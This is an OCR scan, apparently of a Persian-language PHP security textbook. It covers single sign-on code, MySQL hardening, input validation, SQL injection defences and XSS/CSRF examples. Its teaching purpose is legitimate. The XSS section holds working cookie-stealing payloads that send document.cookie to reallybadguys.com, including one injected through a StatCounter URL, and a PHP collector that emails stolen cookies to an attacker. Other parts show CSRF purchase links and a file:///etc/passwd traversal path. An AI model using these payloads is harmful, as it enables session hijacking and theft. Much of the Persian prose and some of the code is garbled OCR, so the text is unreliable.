1 [ HTTPA.1 GET/ ‘ 3 HTTPA.1 POST/login.php

HusL cms___ Host: 550 B EI

e cms

E . : - —

Client cms Client QAT ﬁ
301 Unauthorized ‘ )

Location: https://sso/fapp=cms

202 Aiccepted
Location: http:Yems/ Tauth=1234

9 HTTPA.1 GET/?app=cms
Host: 550

ll 4 HTTR/A.1 GET/?auth=1234 j
E; cms Host: cims I
‘HJEIH-lTPS_t" — i
i i S N,
Cllent ', < i ( wre
o Client \
550
000K 1 T 200 0K
<GS login form: <tontents

Slasl ol jor 4y IS (gouds Al o g b as ol S base64 SussSsl 5l el & )le AUth jloss
el oad 5550, CMS.EXAMPIBDFY _osos 9.lS ;I oolil L a5 ol SSO.£Xample.org
rETI! L
$ T auth’] ole 4 1, 5lade |yl CMS.eXample.org s, » login.php cw Sl a5 LK
LgLa.o‘ (et O 3 20 Ol &_JLC)’UQ‘ U"‘ )‘ LS’LAASJA) S 05.> ‘5&9»4} ;LJS )‘ cA.J‘SA MBL)})
C-Y nsas 1 pl A8 Cules 15 5 0350 duli SSO eges oS 5l eolizul L 1, SSO.Xample.org
4ol b b desgee wglal )5 4 ulnle 5 wled oo CumMo 9l SSO awg ouds Jlujl cusa L) )8
e TS S oo sl 1) G pas JLiSe 8165 o5 cpeal Hopm 3508 Ol 4ol anals Jolas
' leioo plolids B sl gm0

5 LURI 5l )] 6 ed 5l sl 56 camdo ol aledbl ol wilgs co ailoyome Sledlol ]

8 eolitul 0590 ()5 Sl w4 aslip jom lawgs &S jeuei0; 9 ()5 AL SO b o iws slo i

Oly pelias Syge 4wl 8 ST oAl Gl oy cwl See Sjlae (pl 0,5 oo
L3 51 g9 a5 Wb e o SSO.£Xample.org . Jlsl oK s .09 Mysqladmin.example.org
o) S50 a5 elKam (aib e SSO.XAMPIE.Org 5l and> S5 G slylo a5 1>) sl oa o)




2 wfle 3
g ukhyeiledis PHP -l 5ael G G2
(el g satSeajlw Iy ‘ -

Conl (Son 395 o Jlo,l Mysgladmin.example.org 4 45 o,ge S oo sl |, Sledlbl ke
.5).5 )|)§ salaul S,y90 ).3)\5 u—" Ja.wy AJLa as me Lg‘wbol.igl.; JRE, 9 Lgﬁ)lf [al.l J.ch

@b Ol Caz &5 (Lle il A plelid gl SO Gl b i Jlie S S5 Jee o> 595
Lo Ll anl (oges Jul5 51 dmr g o ools JUtl 3959 (ol p3 42 (028 ST 50) Wgpe o
Q) g ywd &S oS 5l el O le ol o SYsb auth s Db oo Jsl  URE G 4 6)Lg0

Al ol 31 eolisiw! g PHP oMSL&5 YFLY)
5 OPENSSL (slo 35 51 o)bgs Lo il oo PHP 5 il plales ol T oolical 4 (9551 Lo
cgz SINGIESIgNON oIS 5w Leis codle a1 .0,5 pudlgs ool o Jyl Jas ,o oas sl MCYpL
O3l 1) camdo anl ul b cenlys 10 a5 S go cnl a4 au)lo NS, onl phiel s ) ool
S5 5 eolawl b el agENt G 4 GET e Olee@ 1y ool oSSl ply ol e 9 009l
58 ookl 5y50 bLi)l cnl (ggw 50 2 )0 WIS B inlpls ams Jrgmd HTTP cuys> s
CoMo Al g S Lasg 5 05 e Sl ) s sty oS (5 oo o (s 515 ol

Sl 00y &3l delSh ) STEUMS™ cpl oS (WS o0 0, L 0l 1) 89,5 Cnlgs ;o 4S) (roul




. 7 . s . . - . . £ - > ’E. .J:'
dﬁ‘ﬂ:;;’m |j¢.>u C.',q'ﬁ-\.c ‘5\.&".‘;”.,‘ dudﬁ"\%‘.‘:““ rRLY K dL‘JlM ‘5LAJL:J.% GJL“CJ"" 0y )3 e)‘g‘..\..c Sleds ‘f’ﬁf‘s&

<?php

// requires openSSL and mcrypt classes from Chapter 6
require_once( 'openSSL.php' );
require_once( ‘mcrypt.php' );

class singleSignOn {
// certificate/key directory

private $certDir = '.';

// contents of local certificate t%§§55>

public $certificate;

// contents of local key
private $privatekey;

// stub for openSSL object
protected $openSSL;

// constructor

// initializes local openSSL object

public function _ construct( $cert, $key ) {
$this->certificate = $cert;
$this->privatekey = $key;
// throw error on bad key or cert?

$this->openSSL = new openSSL();
$this->openSSL->privatekey( $key );
$this->openSSL->certificate( $cert );

}

// class singleSignOn continues
.
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// continues class singleSignOn
// nonce() retums a relatively random number
public function nonce() {
$nonce = shai( uniqid( rand(), TRUE ) );
return $nonce;
t // end of nonce() method
// makeRequest() sends a command to a remote server via HTTP 401 redirect
// $command is the command to encode
// $to is the url to send the command to
// $retum is the return address for the response
public function makeRequest( $command, $to, $return,
$keyPassphrase = NULL ) {
// generate a one-time value to randomize request
$randomizer = $this->nonce();
// encode the request using the remote certificate
$request = "$command: :$return: :$randomizer”;
$remoteCertificate = $this->getCertificate( $to );
$encodedMessage = $this->encodeMessage( $request,
$remoteCertificate, $keyPassphrase );
// build full remote url with encoded message as GET var
$remotelURI = $to . '?sso=" . rawurlencode( $encodedMessage );
// redirect to secure server with message as $ GET['sso']
$this->redirect( $remoteURI );
} // end of makeRequest() method
// class singleSignOn continues
</
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// continues class singleSignOn
// discoverRequest() a command and return address sent by makeRequest()
// $from is the URI to use for the sender; defaults to the referring page
// returns associative array with command (command) and return address (return)
public function discoverRequest( $from = FALSE,
$keyPassphrase = NULL ) {

/! find the message

if ( empty( $ GET['sso'] ) ) return FALSE;

$encodedMessage = $_GET['sso'];

// discover from
if ( !$from ) {
$from = § SERVER[ "HTTP_REFERER']; //sic

}

// decode the message

$remoteCertificate = $this->getCertificate( $from );

$request = $this->decodeMessage( $encodedMessage, $remoteCertificate,
$keyPassphrase );

// decode and save request
$request = explode( '::', $request );
$this->request = $request;

// return the request array
return $request;
} // end of discoverRequest() method
// class singleSignOn continues
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// continues class singleSignOn
// encodeMessage() encodes a message using the recipient's certificate
// $message is any string
// $remoteCertificate is the recipient's certificate (public key)
public function encodeMessage ( $message, $remoteCertificate,
$keyPassphrase ) {
// sign message using local server's private key
$signedMessage = $this->openSSL->sign( $message, $keyPassphrase );

// generate another key to use for encryption
$encryptionKey = $this->nonce();
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// encrypt the message using blowfish

$blowfish = new mcrypt( 'blowfish' );

$blowfish->setKey( $encryptionKey );

$encryptedMessage = trim( $blowfish->encrypt( $signedMessage ) );

// encrypt the encryption key using the secure server's certificate
$this->openSSL->certificate( $remoteCertificate );
$sslEncryptedKey = $this->openSSL->encrypt( $encryptionKey );

// put it all together
$encodedMessage = "$sslEncryptedKey::$encryptedMessage”;
return $encodedMessage;
} // end of encodeMessage() method
// class singleSignOn continues
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// continues class singleSignOn
// decodeMessage() decodes a message encoded using encodeMessage(),
// using the recipient's private key
public function decodeMessage ( $message, $remoteCertificate,

$keyPassphrase ) {
// split fullMessage
list( $sslEncryptedKey, $encryptedMessage ) = explode(

', $message );

// decrypt the encryptionKey
$encryptionKey = $this->openSSL->decrypt( $sslEncryptedKey,
$keyPassphrase );

// decrypt the blowfish-encrypted message

$blowfish = new mcrypt( 'blowfish' );

$blowfish->setKey( $encryptionkey );

$signedMessage = $blowfish->decrypt( $encryptedMessage );

// verify signature
$this->openSSL->certificate( $remoteCertificate );
$decodedMessage = $this->openSSL->verify( $signedMessage );
if ( !$decodedMessage ) {

exit( "ERROR - Invalid message, unverified.” );

}

// return decoded, verified message
return $decodedMessage;
t // end of decodeMessage() method
/1 class singleSignOn continues
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// continues class singleSignOn
public function getRequestCommand() {
return $this->request[0];

}

public function getRequestReturn() {
return $this->request[1];

}

// looks in the local certificate directory
// for a copy of the remote certificate
// certificate naming convention is $this->certDir/hostname-port.crt
public function getCertificate( $remoteURI ) {
$parsed = parse url( $remoteURI );
if ( empty( $parsed['port'] ) ) {
if ( $parsed['scheme'] == "https' ) {
$parsed['port'] = 443;
}
else {
$parsed['port'] = 80;
}

1
$certificate = $this->certDir . '/' . $parsed[host] .

'-' . $parsed[port] . '.crt';
if ( !is readable( $certificate ) ) {
exit("Cannot read certificate file
for remote ($remoteURI) signon server: $certificate");
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}

return file get contents( $certificate );
} // end of getCertificate() method

public function redirect( $url ) {
if ( !headers sent() ) {
header ('HTTP/1.1 401 Authorization Required');
header('Location: '.$url );

}

print '<a href=""' . $url . '">Please click here to continue.</a>';
exit();
} // end of redirect() method
} // end of singleSignOn class
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<?php

// use session to keep state
session start();

// config

$expect = 'Authorize';

$clientURI = "http://www.example.org/ssoClient.php';
$serverURI = "https://ssl.example.org/ssoServer.php';
$clientCert = 'www.example.org-80.crt’;

$clientKey = 'www.example.org-80.key';
$clientKeyPassphrase = '1234";

$serverCert = 'ssl.example.org-443.crt’;

// main

// handle logout

if ( lempty( $ GET['logout'] ) ) {
unset( $ SESSION[ 'username'] );
}

// ssoClient.php continues
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// continues ssoClient.php

// not logged in yet?

if ( empty( $_SESSION[ 'username'] ) ) {
require once( 'singleSignOn.php' );

// load local certificate and key
$localCertificate = file get contents( $clientCert );
$localkey = file get contents( $clientKey );

// create new singleSignOn instance
$client = new singleSignOn( $localCertificate, $localKey );

// no token from the server, redirect
if ( empty( $ GET['sso'] ) ) {
print '<h3>Please log in using our secure server:</h3>';

// make request
// makeRequest( command, to, from, keypassphrase )
$client->makeRequest( 'login', $serverURI, $clientUrl,
$clientKeyPassphrase );
exit();
}

// ssoClient.php continues
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/1 continues ssoClient.php
else {
// decode request
// discoverRequest( from, keypassphrase )
$client->discoverRequest( $serverlrl, $clientKeyPassphrase );
$command = $client->getRequestCommand();

/1 check for expected command
if ( substr( $command, 0, strlen($expect) ) != $Sexpect ) {
exit( 'Invalid sso token.' );

}
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else {
// log in using provided username

$ SESSION['username'] = trim( substr( $command, strlen($expect) ) );
!
J

}

2>

<h3>Hello <?=$ SESSION['username']?>. <a href="?logout=1">logout</a></h3>
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<?php

// use session to track state
session start();

// config

$expect = 'Authorize';

$clientUrl = "http://www.example.org/ssoClient.php';
$serverUrl = 'https://ssl.example.org/ssoServer.php';
$clientCert = 'www.example.org-80.crt';

$serverCert = 'ssl.example.org-443.crt’;

$serverkey = 'ssl.example.org-443.key';
$serverKeyPassphrase = '1234';

// main

require once( 'singleSignOn.php' );

$localCertificate = file get contents( $serverCert );
$localKey = file get contents( $serverKey );

$server = new singleSignOn( $localCertificate, $localKey );
// ssoServer.php continues
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// continues ssoServer.php
// form processor, skip on first pass
if ( lempty( $ POST['submit'] ) ) {

// get original return address from session
$request = $ SESSION['ssoRequest'];
$to = $request[1]; // original request['return']

//
// authenticate username and password here... unshown
/1

// build command
$command = "Authorize $ POST[username]";

// send command to return address
print '<h3>Authenticated, redirecting back to insecure
with authorize token</h3>';
$server->makeRequest( $command, $clientUrl, $serverUrl,
$serverKeyPassphrase );
exit();
}

// ssoServer.php continues
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// continues ssoServer.php

// discover command

$request = $server->discoverRequest( $clientUrl, $serverKeyPassphrase );
$command = $server->getRequestCommand();

if ( !$command ) exit( 'No command found.' );

// put request in session
§ SESSION['ssoRequest'] = $request;
o
// command login:
7>
<h1>This is a secure server...</h1>
<p>...acting on behalf of
<a href="<?=$server->getRequestReturn()?>">
<?=$server->getRequestReturn()?></a>.</p>
<p>Please <?=$server->getRequestCommand()?> below.</p>
<form action="" method="post">
username: <input type="text" name="username" /><br>
password: <input type="password" name="password" /><br>
<input type="submit" name="submit" value="login" />
</form>
-
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--- get rid of the test database, which is accessible to anyone from anywhere
DROP DATABASE test;

--- deal now with the mysql database, which contains administrative information
USE mysql;

--- check that privilege specifications for test® databases exist
SELECT * FROM db WHERE Db LIKE 'test®';
--- and delete them
DELETE FROM db WHERE Db LIKE 'testX';
N\ OV
--- check that anonymous users exist for this server
SHOW GRANTS FOR ''@'localhost’;
--- revoke their privileges
REVOKE ALL ON *.* FROM ''@'localhost’;
--- and delete them
DELETE FROM user WHERE User = "' and Host = "localhost’;

--- do the same for any anonymous users on your own server
--- 11 be sure to replace example.com with your own server name !!!
DELETE FROM user WHERE User = "' and Host = 'example.com';

--- do the same for root on your own server

--- 111 be sure to replace example.com with your own server name !!!
REVOKE ALL ON *.* FROM 'root'@'example.com’;

DELETE FROM user WHERE User = 'root' and Host = 'example.com’;

--- clean up by clearing any caches

FLUSH PRIVILEGES;
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Warning: open basedir restriction in effect. File is in wrong directory in
/docroot/innocuous.php on line 1
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<form id="editObject">
name: <input type="text" name="name" /><br />
<?php
if ( $username == 'admin' ) {
print 'delete: <input type="checkbox” name="delete" value="Y" /><br />';
}
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<input type="submit" value="Submit" />
</form»
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<?php

// set admin flag

if ( $auth->isAdmin() ){ :§g>
$admin = TRUE; %

} JE

/] ...

if ( $admin ) {

// do administrative tasks Q\:g%
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<?php

// create then set admin flag

$admin = FALSE;

if ( $auth->isAdmin() ){
$admin = TRUE;

}

)
T
if ( $admin ) {
// do administrative tasks

}
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<?2php gaj%%n

$expected = array( 'carModel', 'year', 'bodyStyle' );
foreach( $expected AS $key ) {
if ( lempty( $ POST[ $key ] ) ) {
${skey} = $ POST[ $key 1;

}
else {
${skey} = NULL;

}
}
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<?php

// user interface
$expected = array( 'carModel', 'year', 'bodyStyle' );

// administrator interface
if ( $admin ) {
$expected[] = 'profit'; Z§5>

| 3
foreach( $expected AS $key ) { i;&zé

if ( lempty( $ POST[ $key 1) ) { t%?
${$key} = $_POST[ $key 1; )
} )
else {
${$key} = NULL;
}
}

?

>
= . @ . . &
5 ;l&b‘w@ C)L” S Sl 3L Ll polie o> &jgo a4 (SO pl & g, SO
e b il gl Jlo)l caz by, S p2les
°G ) 69939 Sw0yd 9 Job (£ (o) 6,v.¥
Juo)l gl S &b %L«w A 0y50 g5 5l polie LS B aps e ol )5 So 4 &S ol
dlye b ) 6°§8§5 ar a5 alyoe B8 5l a5 wlel (ol g asiie gz BB Coge gl wyled
s b é%‘w%b 515 B 699y9 nolie el ogas ;5 osle s p So sl il el cnl oS
Q
\@ & J.JLQ..) Ja.e‘.“u GCA.AA)‘ )Ua.u‘ 0)9.@ w)ﬁ 9 J}b ‘653 Lgblo 6&9)9 UJ‘ 4:;..:‘

9 £5 s 1.1
23S medls> o] g5 Sz (695)5 polie (pw ) 4l o

bacs, &Y,F,1,)

Wl 4Lh, S Wlei s oz o 45 1> aiies PHP 15 Liel uul Cum £4 o ool baas
Tae d ) P ST P = o = E¥ Py )

oolaiwl 550 lipebl iz lg so |y OIS_SHrING oins ) Yool polin §l can Jy .09 J&

\ov



ey PHP cyol o si0L

5O e Al g @ olael (S8 IS5 Ll PHP wile a4 a5 atiis glo loy wizjo oo 133
3)lge (SAeD p) Cand WS o0 Cgame Al Glgie 4 |, JB gas) SO ST L, L el FALSE
oo aalgs (18 il 090 1,

if( isset( Svalue ) && Svalue != NULL )
// Svalue is a (possibly empty) string according to PHP
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$year = $ POST['year'];
if ( !lis_int( $year ) ) exit ( "$year is an invalid value for year!" );
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if ( gettype( $year ) != 'integer' ) {
exit ( "$year is an invalid value for year!" );

}
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$year = intval( $ POST['year'] );
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$year = ( int ) $ _POST['year'];
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if ( !settype ( $year, 'integer' ) ) { 1% %?
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exit ( "$year is an invalid value for year!

}
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Test Value
'something' 12345 "

if ( $var ) TRUE TRUE FALSE
if ( lempty( $var ) ) TRUE TRUE FALSE
if ( $var 1= "") TRUE TRUE FALSE
if ( strlen( $var) != 0 ) TRUE TRUE FALSE
if ( isset( $var ) ) TRUE TRUE TRUE
if ( is string( $var ) ) TRUE FALSE TRUE
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if ( strlen( $year ) != 4 ) exit ( "$year is an invalid value for year!" );
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<?php

// set up array of expected values and types
$expected = array( 'carModel'=>'string', 'year'=>'int',
'imagelLocation'=>"'filename' );
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// check each input value for type and length
foreach ( $expected AS $key=>$type ) {
if ( empty( $ GET[ $key ] ) ) {
${$key} = NULL;
continue;
}
switch ( $type ) {
case 'string' :
if ( is_string( $ GET[ $key ] ) && strlen( $ GET[ $key ] ) < 256 ) {
${$key} = $ _GET[ $key ];
}
break;
case 'int' :
if ( is_int( $ GET[ $key ] ) ) {
${Skey} = $ GET[ $key 1;
}
break;
case 'filename' :
// 1limit filenames to 64 characters
NV
if ( is_string( $ GET[ $key ] ) & strlen( $ GET[ $key ] ) < 64 ) {
// escape any non-ASCII
${$key} = str replace( '%', '_', rawurlencode( $ GET[ $key ] ) );
// disallow double dots
if ( strpos( ${$key}, '..' ) === TRUE ) {
${$key} = NULL;
}
}
break;
}
if ( lisset( ${$key} ) ) {
${$key} = NULL;
}
}

// use the now-validated input in your application

I las, sales 64.3“)1&3‘Lo.~:3c&ﬁ&% oo slaads L ool qu\ﬂ&gb@dfdﬁal 4o

Elgl 5las,le polae ol g Uail 0,90 s e lopl 5l aitins & )le aldS (] jo 4 0 o ol
00uol 1) adls arass o paie 5 0iS oy sl Gyeo a4 ) al)l Ld el sl 54

Y



»

ctigkhsobielis | g Cu e ‘_;LAW 6"“‘5}3'1:’,“.":"“] iS5 Sl adl  gilecpl o 53 0 lie Sleds ‘vi-:’ 34

iz Ul g gt o Jn

W&@QTMJJA}‘QT&JE[;J}H)&[{Méuﬁx.o)’lﬁlafﬂgsaw;@

D30 )18 oy p 3550 o one
ookl b calizes slaosls glgil 5l slass o jloel apl cox ) 095 oo )law gaibuls oy oo Lot
3leslarwl 5l cnl & le we aize AulS obul sl 4 Koo san T S sl sbul (Joe oy

RS o0 )‘)5 sJ.oJlJ ‘5)5"’['“"*’“"'@"") u‘).!)ls

B s Lo gy (Il 32l (30905 0 1Tl 6,Y.¥
piaaw ) g asl y plu g el gl LG aiil ol cw,d S glhls wub ﬁol.&o')'l o glgl
g b 5 2SS Ls 4 el Sl Copadl gyl iS5 ol atiS IS b 5515 enliul 5,00 a5
Lt PHP gl 45 glaigs 2 st pslie il 5 Gl ites) oSN 50l 5 &g 40 L5 1s

2385 o iy Sl ASE S, 3 (50mt d fSan S

(57,5 Lo 8,%,%,1
4 ogill D90 4 Wilgie S Gla ST (S RALA St slo ST Juld el (S (53959
a9 B SIS ol 51 o5l Sloso Gl o,k a4 auilgi oo Lot iy ca] Lo inses
A Ko 0086 IGIAT «STU s xSTUS yo 51 LB\ S 09580 b oslgs oo )
@l pi bsgs 2SSl g HERS g Jai | lagyT (Jg Jai 5o lagyT pols 51,3 L ailss oo -
Lo eolatul 0,50 MR 3y, aile a4 oS o5l S sl Jls o 1) byl oslg o Y
.ourlencode
ok b)Y WS ol MAGIC_qUOLES_gPC Joadljgiws <G 5l a5 il 1S5l dwguy ol Ko
03 g w)m I, GPC olie wsled (59, » 605 omuol )45 &g 4 a5 o0 Sledbl php.ini o
el P9y BAG Dge d g
a8 o pll polie ol (55, < addslashes() xb 5l eolical b loss 1, I cnl o og, ool (b cnl b
ol Jleil gdlio 5l yiias Lo MAGIC_QUOLES_GPC ;1 oolicwl s as oo slow! NSt cailinlio
Codle 90 il o SUjhas slo 5SS 51 Jgans 8,90 o> Lt 4 s9axe addslashes() ol .ocs
Loy 4 cal Sew addslashes() b a5 > o oplplo NULL 5 ) o)y eoe o Jgd S
550 0,90 0ges sleiel ] @ g a5 Cus ol SE gejlail 4y wass gos |y wlasags sl ey o>

Yy



gk yc/bin;l Cis
\dadedz il g satS e failw

&b sl eolatal L1y (6,5 ool b Lol g gadgl JSi a4 cols fails Sy jolate 4y aSsy)
Sla 2SI 51 oo by Jls! 4 asly conl Slol o5 G s a5 a5 awles 45,9 Stripslashes()

S (o0 58 S ) (b wax
a5 syl xw Yol Mysql_real_escape_string() «b 45 Jb 0 ol g Gz 4> om

oo);l.wf (§4€ gom0 gS.a cd.lLoJ Lg)L...:JLs MySQL Lgob‘oolf,{lg: & L u.oa‘ Qdﬂé‘ S ‘) ).3)15 $99,9

NS 18, Dygo cnl 4095 el e, o ol ols 1B LT,

~

<?php

$expected = array( 'carModel', 'year', 'bodyStyle' );
foreach( $expected AS $key ) {
if ( lempty( $ GET[ $key ] ) ) {
${%key} = mysql real escape string( $ GET[ $key ] );
}
}
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<?php S
function escapelIt( $temp ) { Z£>
define ( 'BACKSLASH', '\' ); :

// more constants

// use | as a custom escape character
$temp = str replace( BACKSLASH, '|\', $temp );
// more escaping

return $temp;

1
$expected = array( 'carModel', 'year', 'bodyStyle' );

foreach( $expected AS $key ) {

if ( lempty( $ GET[ $key ] ) ) {
${$key} = escapelt( $ GET[ $key ] );
t
}
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<?php

$applicationPath = '/home/www/myphp/code/";
$scriptname = $ POST['scriptname'];
highlight file( $applicationPath . $scriptname );
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<?php

$uri = $_POST[ ‘uri']; @?

if ( strpos( $uri, '..' ) ) exit( 'That is not a valid URI.' );
$importedData = file get contents( $uri ); .
file:///etc/passwd \°
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Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
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{/ retrieve the user's input
$animalName = $_POST['animalName'];

// connect to the database
$connect = mysqli connect( 'localhost’, ‘username', 'password', 'database’ );
if ( !$connect ) exit( 'connection failed: ' . mysqli_connect _error() );

// create a query statement resource
$stmt = mysqli_prepare( $connect,
"SELECT intelligence FROM animals WHERE name = ?" );

if ( $stmt ) {
// bind the substitution to the statement

mysqli stmt bind param( $stmt, "s", $animalName );

// execute the statement
mysqli stmt_execute( $stmt );

/! retrieve the result...
mysqli_stmt_bind result( $stmt, $intelligence );

// ...and display it
if ( mysqli_stmt fetch( $stmt ) ) {

print "A $animalName has $intelligence intelligence.\n";
I else {

print 'Sorry, no records found.';

}

// clean up statement resource
mysqli_stmt_close( $stmt );

}

mysqli_close( $connect );
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<?php

$animalName = $ POST[ 'animalName'];

$mysqli = new mysqli( 'localhost', ‘username', 'password', 'database');
if ( !$mysqli ) exit( 'connection failed: ' . mysqli_connect error() );

$stmt = $mysqli->prepare( "SELECT intelligencews
FROM animals WHERE name = 7" );

f ( $stmt ) {
$stmt->bind param( "s", $animalName );
$stmt->execute();
$stmt->bind result( $intelligence );

f ( $stmt->fetch() ) {

print "A $animalName has $intelligence intelligence.\n";
} else {

print 'Sorry, no records found.';

}

$stmt->close();
}

$mysqli->close();
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<?php

// protection function to be tested
function safe( $string ) {
return "'" . mysql real escape string( $string ) .

}

// connect to the database

IITTTITEIEEEIE ]
// attempt an injection
LILITIETIEIILE 7]
$exploit = "lemming' AND 1=1;";

// sanitize it
$safe = safe( $exploit );
.o v
$query = "SELECT * FROM animals WHERE name = $safe”;
$result = mysql query( $query );

// test whether the protection has been sufficient
if ( $result && mysql num rows( $result ) == 1) {
exitt "Protection succeeded:\n
exploit $exploit was neutralized.";
}
else {
exit( "Protection failed:\n
exploit $exploit was able to retrieve all rows." );

}
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¢!-- Start of StatCounter Code -->
<script type="text/javascript" language="javascript">
var sc_project=###;
var sc_partition=#i##;
var sc_security="##H",;
</script>
<script type="text/javascript" language="javascript”
src="http://www.statcounter.com/counter/counter.js">
</script>
<noscript>
<a href="http://www.statcounter.com/" target=" blank">
<img src="http://c6.statcounter.com/counter. php=
?sc_project=H##&amp;amp; java=0&amp;amp; security=#"
alt="html hit counter" border="0" />
</a>
</noscript>
<!-- End of StatCounter Code -->
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¢script>
(new Image).src="http://reallybadguys.com/gotcha.php?'+document.cookie;
</script>
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<?php

$exploit = "
¢script>
(new Image).src = 'http://reallybadguys.com/gotcha.php?' + document.cookie;
</script>

$exploit = urlencode( $exploit );
$uri = "http://c6.statcounter.com/t.php?sc_project=#iiiwe
&security=###duser=" . $exploit;

$result = file get contents( $uri );
print $result;

2>
Cole oy laslel Ui o 35 Ol 515 5 4, Statcounter colue 4 Sb 3«5 olKa
o313 0L bt Gamio S5, 2 camefrom olse 4 sdd Jloyl Sldie (les sdalin |, 345

b orles oo G0 2 S Sl SO g 1) (melst o Sopm oS a5d e ol ol ol ol
53 e Sal cpl il o $_GET Laze S 0lye w0 > ID ol &8 led Loyl i S8

AS eslatal 58 Olge 4 55 O3l G SS Slie 1 aS s dal e

s ol by Jll Sltie G el g3leSL g Statcounter it 5l st ei ol

144



by PHP ool oo sl ‘vi-l B

\dadedz il g satS e failw

el 0S4 S elsl HTML x. & s et 53 e e3ls ol ey oS
»PHP s htmlentities() ~t Jus! L1, ol 1,55 Statcounter « s ol 5l L PIbl s

gt Sl paie S gl U ossed - § GETUSEr] jaze ol s 4 odd Jom Jliie (535

I 'C) cg@h Lf’j‘) LSaJuJ.w‘ £ o

http://seclists.org/lists/fulldisclosure/2005/May/0102.html e

XSS O)\»-"-Aa'}u' \Ax
Ls:fwdlfu\.dsbw‘):u;?-Mcujebjswﬂd‘j&&w@b&bww‘y%ﬁ»\
(S stz gladlie e gl il o Lo ol ol b sl plicaal cans LT OT L oS ahe
S al S Olge s sl s 1) s ge OISl Slles N S B S w1

LS S5 eslizal 5550 345 IS 3 WOT Sl (6,8 sl K8 cr b bl
Dles ol 3 aslse il 5l sl plonil 4 L5 0 XSS 5l (6,8 0,0 b erlee S
4.3 &.,:S coJC\.;S b“i)’;" L;LA.,\S JLQ.Q\ cLA L}SJS g_))_y) ct@_’Lw} QJ})J ¢ J.:)ls u‘.a.tja.ﬁ ﬁ""‘"’.

ubls &:Jlx.:.lns LS_)‘J"" °‘J ¢ A_JJ}:» L;La;,‘.il.w

CSS s HTML oMes V,¥N
0553 CSS 5 HTML (gl 055381 51 ool oojle XSS cdlas p 5msly 5 cp 5ol
led ol s p aalsl s S (50 gdsie Ll SO ol sls S8 L ks el HTML

Bl M 6‘05%‘ £ g W’:)‘ 6;)12- CA.@} L}SJJ\; LS‘J\J UJ}]“ Q\J.;)lS J}l& de)‘




1 1 P o - . . & - > "ﬁ. ‘.’j:'
umﬂ“-g'w |j§>u CA.?').“-M ‘5‘&&.« dudﬁ-\gw| rRLY K ‘!L‘Jhﬂ ‘5‘.Adbjg GJL‘CJ’“‘ 0y )3 BJ"LM Sleds ‘Hﬁfﬁ

ool b ocw Sl sl oS ISs w35 S50 53 |, HTML L, il s es a0l Jl-

L amto S sten Loy pan LS e das e ol 1 S8l 4 2SS e S
o S el el bl O Jelss G 1) G 5 ey ad Slap 5 00 5ad g

&S Jl) el L wlsl g S G Lol en SO, L) 1 5 ol 1l e 31

.u;\

Hello from sunny Californial )
<div style="position: absolute;
top: Opx;
left: opx;
background-color: white;
color: black;
width: 100%;
height: 100%; ">
<h1>Sorry, we're carrying out maintenance right now.</h1>
<a href="#" onclick="javascript:window.location =w
'http://reallybadguys.net/cookies.php?cookie=" + document.cookie;">
Click here to continue.
</a>
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<?php

$cookie = $ GET['cookie'];

$uri = $ SERVER['HTTP_REFERER']

mail( 'gotcha@reallybadguys.net', 'We got another one!’,
"Go to $uri and present cookie $cookie." );

header( 'Location: '.$uri );
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<a href="#" onclick="javascript:window.location =
"http://reallybadguys.net/cookies.php?c=" + document.cookie;">
Click here to continue.
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<a href="http://shopping.example.com/oneclick.php?action=buy&item=236">
Special Reductions!</a>
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<table background="http://shopping.example.com/addToCart.php?ltem=236
<tr><td>Thanks for visiting!</td></tr>
</table>

Q v

A dal g IS s e YW T35 4 e 4 el 5 o

B ol;f‘jj.albypégiisd;)b 3 Ol
O‘;&.&Qoﬁ&vgﬁﬁéﬂ,ﬁal{.ﬁ“

Sl 3 S LS ) G S (O] (SKs i p8 S e sl $ POST

°@ )
<form action="http://example.com/addToCart.php" method="post">
<h2>Search</h2>
<input type="text" name="query" size="20" />
<input type="hidden" name="item[]" value="236" />
<input type="submit" value="Submit" />
</form>

9

b s S S

Style *¥




=

3 wifle 3F
g kol adls PHP -l PR Iy S
whihedelbl g atSenllu IS T e K A ‘ =

LYYW ol (6 s pad il 5005 00 sl ol s el o3l (g gt 3 SO 4 (]
ﬁééjgvuugwp‘xsau\éﬁxufwgm\;;’-lj)jbd.z(._ﬂa;}a.}:l.?u"\;jﬁ-c\s

.,\m&,\,wLgmuﬁgﬁ,ls;w_o\,-\vsvu\rﬁ,-u};@y;\j%s&&

e plu \ 4
2 Sose slaasBl s 6 gladls ) ActionScript dsk- lacdyl 5l eslizal 51 56 e
Lol g elin JS aalie Js dien s ol (50 25 o e ool e 1 OIS
Lot slaci Sl 53 oLl ol 51 oIS a3 S8 (35,5 o8 Lo o3l Lot V555 o Jles!
Azes (93050 am Lol bl &S 2l 3l e UL SES 15 eslinal 550
<object width="300" height="100" type="" data="a.php?item=20"></object>

Aas ol y 55 Slkes Lls e @PNP LG s Wlg e S350 I
XSS ;1 M emilen A

sl olg el ol Sk Jl;-).s..;__’bn\s.:jﬁu@)id by XSS 51 e cmiles
Loes o byl (Soe 45 plaaelipy o (sl il |y Sy kST sl oSOT 51w OF 51 S
Glaas; 3 b 5l SOl Mcm SMa= ol 53 eSS Jbew (POST glacul =)
S el Camal s 4o o Tyl by e e S el (GET sl = 55) URI (6 558
Ol & o piie 5 Sl wr o5 555 jasiie b ol S Jaly &S Lt oyl by 5l LS

AT @dsa §_POST islie 51 b G plaS 5 55 deal s J53 B S _GET sl
S OLES LISl o sl 0555 0L 2 S oael p gz Ole) (p i 3 (b s>
cu.bjjiﬁ’.dw A S Uodas o o3l skas axw g a4 LSL sl i a8 o 4 &S
03NS Coe) L Gl 5 g0 aslsl o sl g 5o (sUS S S sl el b o1y placys gdoe

)}J‘)%UW&‘;«Q‘)CMJo.,\ATBerJ\qu_)L{:JJa_:@AS‘JL}J\'M“}}JJJ,A)(MM

Preventation




o 5 ’
ctigkhsobielis | g Cu e ‘_;LAW 6\.&%‘5]3.1,;%] iS5 Sl adl  gilecpl o 53 0 lie Sleds ‘,‘LJ &

iz Ul g gt o Jn

.J@Zl{wbﬂ);}gmuﬁf\kcﬁ@q-bw

J)}A b XSS C)M 4.: WL..;— Qb‘)svs k_ﬂ.l.:?pe 6[.&&‘5) cJAls Q)M 4.’ LA cd&u w‘ DL
.Jﬁ.l.k‘jﬁ-@j.:m.ls&upxssstggicjjﬂvﬁj&w&.@?vﬁdsw‘&jsbgu
il e Al S g5y U b gls S

(i Sledlbl g http://www.cgisecurity.com/asticles/xss-fag.shtml#ssl)

Coniles XSS 51 el 31 PHP el s 6 e o SSL ok ID (o5 s ol U
